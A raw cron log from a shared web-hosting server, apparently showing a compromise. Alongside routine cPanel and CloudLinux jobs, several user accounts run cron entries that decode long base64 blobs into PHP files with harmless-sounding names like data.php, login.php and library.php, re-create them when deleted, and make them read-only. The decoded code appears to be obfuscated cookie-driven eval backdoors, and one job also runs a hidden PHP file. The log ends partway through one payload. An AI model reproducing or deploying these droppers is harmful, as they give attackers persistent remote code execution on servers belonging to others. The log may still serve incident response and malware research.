Mar  1 16:05:01 medusa CROND[29847]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 16:05:01 medusa CROND[29849]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29844]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29854]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:05:01 medusa CROND[29852]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:05:01 medusa CROND[29855]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29858]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:05:01 medusa CROND[29874]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:05:01 medusa CROND[29873]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29893]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 16:05:01 medusa CROND[29876]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29879]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:05:01 medusa CROND[29885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29895]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:05:01 medusa CROND[29869]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 16:05:01 medusa CROND[29875]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 16:06:01 medusa CROND[20528]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:06:01 medusa CROND[20624]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:06:01 medusa CROND[20625]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 16:06:01 medusa CROND[20626]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:06:01 medusa CROND[20628]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 16:06:01 medusa CROND[20630]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:06:01 medusa CROND[20631]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 16:06:01 medusa CROND[20634]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:06:01 medusa CROND[20638]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:06:01 medusa CROND[20645]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:06:01 medusa CROND[20642]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 16:06:01 medusa CROND[20646]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:06:01 medusa CROND[20647]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:06:01 medusa CROND[20652]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:06:01 medusa CROND[20656]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:07:01 medusa CROND[11426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 16:07:01 medusa CROND[11484]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 16:07:01 medusa CROND[11485]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 16:07:01 medusa CROND[11486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 16:07:01 medusa CROND[11487]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 16:07:01 medusa CROND[11488]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 16:07:01 medusa CROND[11489]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 16:07:01 medusa CROND[11490]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:07:01 medusa CROND[11494]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 16:07:01 medusa CROND[11496]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 16:07:01 medusa CROND[11497]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxN